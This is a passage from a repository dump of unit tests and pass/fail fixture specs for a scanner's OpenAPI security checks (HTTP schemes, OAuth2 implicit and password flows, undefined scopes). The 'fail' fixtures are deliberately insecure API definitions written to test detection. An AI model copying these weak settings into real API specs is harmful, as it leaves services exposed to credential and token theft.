    "content": "{\n  \"openapi\": \"3.0.3\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\",\n    \"contact\": {\n      \"name\": \"contact\",\n      \"url\": \"https://www.google.com/\",\n      \"email\": \"user@gmail.com\"\n    }\n  },\n  \"security\": [\n    {\n      \"ApiKeyAuth\": []\n    }\n  ],\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"id\",\n        \"summary\": \"example\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\",\n            \"schema\": {\n              \"type\": \"object\",\n              \"properties\": {\n                \"code\": {\n                  \"type\": \"integer\",\n                  \"format\": \"int32\"\n                },\n                \"message\": {\n                  \"type\": \"string\"\n                }\n              },\n              \"required\": [\n                \"code\",\n                \"message\"\n              ]\n            }\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"ApiKeyAuth\": {\n        \"type\": \"apiKey\",\n        \"in\": \"header\",\n        \"name\": \"X-API-KEY\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/generic/example_SecurityOperations/pass3.yaml",
    "content": "openapi: \"3.0.3\"\ninfo:\n  title: example\n  version: 1.0.0\n  contact:\n    name: contact\n    url: https://www.google.com/\n    email: user@gmail.com\nsecurity:  \n  - ApiKeyAuth: []\npaths:\n  \"/\":\n    get:\n      operationId: id\n      summary: example\n      responses:\n        \"200\":\n          description: 200 response\n          schema:\n            type: object\n            properties:\n              code:\n                type: integer\n                format: int32\n              message:\n                type: string\n            required:\n              - code\n              - message\ncomponents:\n  securitySchemes:\n    ApiKeyAuth:\n      type: apiKey\n      in: header\n      name: X-API-KEY"
  },
  {
    "path": "tests/openapi/checks/resource/generic/test_ClearTextAPIKey.py",
    "content": "import os\nimport unittest\n\nfrom checkov.openapi.checks.resource.generic.ClearTextAPIKey import check\nfrom checkov.openapi.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestClearTextAPIKey(unittest.TestCase):\n    def test_summary(self):\n        # given\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_ClearTextAPIKey\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"/pass.yaml\",\n            \"/pass.json\",\n            \"/pass2.yaml\",\n            \"/pass2.json\",\n            \"/pass3.yaml\",\n            \"/pass3.json\",\n            \"/pass4.yaml\",\n            \"/pass4.json\",\n            \"/pass5.yaml\",\n            \"/pass5.json\",\n            \"/pass6.yaml\",\n            \"/pass6.json\",\n        }\n        failing_resources = {\n            \"/fail.yaml\",\n            \"/fail.json\",\n            \"/fail2.yaml\",\n            \"/fail2.json\",\n            \"/fail3.yaml\",\n            \"/fail3.json\",\n            \"/fail4.yaml\",\n            \"/fail4.json\",\n            \"/fail5.yaml\",\n            \"/fail5.json\",\n        }\n\n        passed_check_resources = {c.file_path for c in report.passed_checks}\n        failed_check_resources = {c.file_path for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/openapi/checks/resource/generic/test_GlobalSecurityFieldIsEmpty.py",
    "content": "import os\nimport unittest\n\nfrom checkov.openapi.checks.resource.generic.GlobalSecurityFieldIsEmpty import check\nfrom checkov.openapi.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestGlobalSecurityFieldIsEmpty(unittest.TestCase):\n    def test_summary(self):\n        # given\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_GlobalSecurityFieldIsEmpty\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"/pass.yaml\",\n            \"/pass.json\",\n        }\n        failing_resources = {\n            \"/fail.yaml\",\n            \"/fail.json\",\n        }\n\n        passed_check_resources = {c.file_path for c in report.passed_checks}\n        failed_check_resources = {c.file_path for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/test_NoMaximumNumberItems.py",
    "content": "import os\nimport unittest\n\nfrom checkov.openapi.checks.resource.generic.NoMaximumNumberItems import check\nfrom checkov.openapi.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNoMaximumNumberItems(unittest.TestCase):\n    def test_summary(self):\n        # given\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_NoMaximumNumberItems\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"/pass.json\",\n            \"/pass.yaml\",\n            \"/pass2.json\",\n            \"/pass2.yaml\",\n            \"/pass3.yaml\",\n            \"/pass3.json\",\n        }\n        failing_resources = {\n            \"/fail.yaml\",\n            \"/fail.json\",\n            \"/fail2.yaml\",\n            \"/fail2.json\",\n            \"/fail3.yaml\",\n            \"/fail3.json\",\n        }\n\n        passed_check_resources = {c.file_path for c in report.passed_checks}\n        failed_check_resources = {c.file_path for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/openapi/checks/resource/generic/test_SecurityOperations.py",
    "content": "import os\nimport unittest\n\nfrom checkov.openapi.checks.resource.generic.SecurityOperations import check\nfrom checkov.openapi.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecurityOperations(unittest.TestCase):\n    def test_summary(self):\n        # given\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_SecurityOperations\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"/pass1.yaml\",\n            \"/pass1.json\",\n            \"/pass2.yaml\",\n            \"/pass2.json\",\n            \"/pass3.yaml\",\n            \"/pass3.json\",\n        }\n        failing_resources = {\n            \"/fail1.yaml\",\n            \"/fail1.json\",\n            \"/fail2.yaml\",\n            \"/fail2.json\",\n            \"/fail3.yaml\",\n            \"/fail3.json\",\n            \"/fail4.yaml\",\n            \"/fail4.json\",\n        }\n\n        passed_check_resources = {c.file_path for c in report.passed_checks}\n        failed_check_resources = {c.file_path for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/__init__.py",
    "content": ""
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"http\"\n    ]\n  }\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - http\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ]\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/expected.yaml",
    "content": "pass:\n  - \"pass1.yaml\"\n  - \"pass1.json\"\nfail:\n  - \"fail1.json\"\n  - \"fail1.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/fail1.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"oauth2\",\n      \"scopes\": {\n        \"read:api\": \"read your apis\"\n      }\n    }\n  },\n  \"security\": [\n    {\n      \"some_auth\": [\n        \"read:api\",\n        \"error:api\"\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/fail1.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\nsecurityDefinitions:\n  some_auth:\n    type: oauth2\n    scopes:\n      read:api: read your apis\nsecurity:\n  - some_auth:\n    - read:api\n    - error:api"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/pass1.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"Simple API Overview\",\n    \"version\": \"1.0.0\"\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"oauth2\",\n      \"scopes\": {\n        \"read:api\": \"read your apis\"\n      }\n    }\n  },\n  \"security\": [\n    {\n      \"some_auth\": [\n        \"read:api\"\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/pass1.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: Simple API Overview\n  version: 1.0.0\nsecurityDefinitions:\n  some_auth:\n    type: oauth2\n    scopes:\n      read:api: read your apis\nsecurity:\n  - some_auth:\n    - read:api"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_oauth2\": [\n              \"write\",\n              \"read\"\n            ]\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"some_oauth2\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"password\",\n      \"tokenUrl\": \"https://api.my.company.com/oauth/token\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_oauth2:\n            - write\n            - read\nsecurityDefinitions:\n  some_oauth2:\n    type: oauth2\n    flow: password\n    authorizationUrl: https://api.my.company.com/oauth/authorize\n    tokenUrl: https://api.my.company.com/oauth/token\n    scopes:\n      write:api: modify apis in your account\n      read:api: read your apis"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_oauth2\": [\n              \"write\",\n              \"read\"\n            ]\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"some_oauth2\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"accessCode\",\n      \"tokenUrl\": \"https://api.my.company.com/oauth/token\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_oauth2:\n            - write\n            - read\nsecurityDefinitions:\n  some_oauth2:\n    type: oauth2\n    flow: codeAccess\n    authorizationUrl: https://api.my.company.com/oauth/authorize\n    tokenUrl: https://api.my.company.com/oauth/token\n    scopes:\n      write:api: modify apis in your account\n      read:api: read your apis"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"implicit\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurityDefinitions:\n  some_auth:\n    type: oauth2\n    flow: implicit\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"securityDefinitions\": {\n    \"good_auth_1\": {\n      \"type\": \"basic\"\n    },\n    \"good_auth_2\": {\n      \"type\": \"oauth2\"\n    },\n    \"good_auth_3\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"accessCode\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurityDefinitions:\n  some_auth:\n    type: basic\n  another_auth:\n    type: oauth2\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"password\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurityDefinitions:\n  some_auth:\n    type: oauth2\n    flow: password\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"securityDefinitions\": {\n    \"good_auth_1\": {\n      \"type\": \"basic\"\n    },\n    \"good_auth_2\": {\n      \"type\": \"oauth2\"\n    },\n    \"good_auth_3\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"accessCode\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurityDefinitions:\n  some_auth:\n    type: basic\n  another_auth:\n    type: oauth2\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/expected.yaml",
    "content": "\npass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"security\": [\n    {\n      \"some_auth\": [\n        \"write:api\",\n        \"read:api\"\n      ]\n    }\n  ],\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"password\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurity:\n  - some_auth:\n      - write:api\n      - read:api\nsecurityDefinitions:\n  some_auth:\n    type: oauth2\n    flow: password\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"security\": [\n    {\n      \"good_auth_1\": [\n        \"write:api\"\n      ],\n      \"good_auth_2\": [\n        \"write:api\"\n      ],\n      \"good_auth_3\": [\n        \"write:api\"\n      ]\n    }\n  ],\n  \"securityDefinitions\": {\n    \"good_auth_1\": {\n      \"type\": \"basic\"\n    },\n    \"good_auth_2\": {\n      \"type\": \"oauth2\"\n    },\n    \"good_auth_3\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"accessCode\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurity:\n  - some_auth:\n      -\n  - another_auth:\n      -\nsecurityDefinitions:\n  some_auth:\n    type: basic\n  another_auth:\n    type: oauth2\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n  - \"fail2.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"security\": [\n    {\n      \"some_auth\": [\n        \"write:api\",\n        \"read:api\"\n      ]\n    }\n  ],\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"basic\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurity:\n  - some_auth:\n      - write:api\n      - read:api\nsecurityDefinitions:\n  some_auth:\n    type: basic\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/fail2.yaml",
    "content": "swagger: \"2.0\"\r\ninfo:\r\n  title: Simple API Overview\r\n  version: 1.0.0\r\npaths:\r\n  /:\r\n    get:\r\n      operationId: listVersionsv2\r\n      summary: List API versions\r\n      responses:\r\n        \"200\":\r\n          description: Success\r\nsecurityDefinitions:\r\n  some_auth:\r\n    type: basic\r\n    description: For more information, see https://api.my.company.com/docs/oauth\r\n    flow: authorizationCode\r\n    authorizationUrl: https://api.my.company.com/oauth/authorize\r\n    tokenUrl: https://api.my.company.com/oauth/token\r\n    scopes:\r\n      read:api: read your apis\r\nsecurity:\r\n  - some_auth:\r\n      - read:api\r\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"security\": [\n    {\n      \"some_auth\": [],\n      \"another_auth\": []\n    }\n  ],\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"basic\"\n    },\n    \"another_auth\": {\n      \"type\": \"oauth2\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nsecurity:\n  - some_auth: []\n  - another_auth: []\nsecurityDefinitions:\n  some_auth:\n    type: basic\n  another_auth:\n    type: oauth2\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_auth\": [\n              \"write\",\n              \"read\"\n            ]\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"basic\",\n      \"tokenUrl\": \"https://api.my.company.com/oauth/token\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_auth:\n            - write\n            - read\nsecurityDefinitions:\n  some_auth:\n    type: basic\n    flow: password\n    authorizationUrl: https://api.my.company.com/oauth/authorize\n    tokenUrl: https://api.my.company.com/oauth/token\n    scopes:\n      write:api: modify apis in your account\n      read:api: read your apis"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_oauth2\": [\n              \"write:api\",\n              \"read:api\"\n            ]\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"some_oauth2\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"accessCode\",\n      \"tokenUrl\": \"https://api.my.company.com/oauth/token\"\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_oauth2:\n            - write:api\n            - read:api\nsecurityDefinitions:\n  some_oauth2:\n    type: oauth2\n    flow: codeAccess\n    authorizationUrl: https://api.my.company.com/oauth/authorize\n    tokenUrl: https://api.my.company.com/oauth/token\n    scopes:\n      write:api: modify apis in your account\n      read:api: read your apis"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"patch\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_auth\": [\n              \"write\",\n              \"read\"\n            ]\n          }\n        ]\n      },\n      \"post\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"consumes\": [],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_auth\": [\n              \"write:api\",\n              \"read:api\"\n            ]\n          }\n        ]\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/fail.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    put:\n      operationId: listVersionsv2\n      summary: List API versions\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_auth:\n            - write:api\n            - read:api"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/pass.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"post\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"produces\": [\n          \"application/json\"\n        ],\n        \"consumes\": [\n          \"application/x-www-form-urlencoded\"\n        ],\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_oauth2\": [\n              \"write:api\",\n              \"read:api\"\n            ]\n          }\n        ]\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/pass.yaml",
    "content": "swagger: \"2.0\"\ninfo:\n  title: test\n  version: 1.0.0\nschemes:\n  - https\npaths:\n  \"/\":\n    get:\n      operationId: listVersionsv2\n      summary: List API versions\n      produces:\n        - application/json\n      consumes:\n        - application/x-www-form-urlencoded\n      responses:\n        \"200\":\n          description: 200 response\n      security:\n        - some_oauth2:\n            - write:api\n            - read:api"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/expected.yaml",
    "content": "pass:\n  - \"pass.yaml\"\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n  - \"fail.yaml\"\n"
  },
  {
    "path": "tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/fail.json",
    "content": "{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"schemes\": [\n    \"https\"\n  ],\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"listVersionsv2\",\n        \"summary\": \"List API versions\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"security\": [\n          {\n            \"some_auth\": [\n              \"write:api\",\n              \"read:api\"\n            ]\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"some_auth\": {\n      \"type\": \"oauth2\",\n      \"flow\": \"implicit\",\n      \"tokenUrl\": \"https://api.my.company.com/oauth/token\"\n    }\n  }\n}"
  },
  {
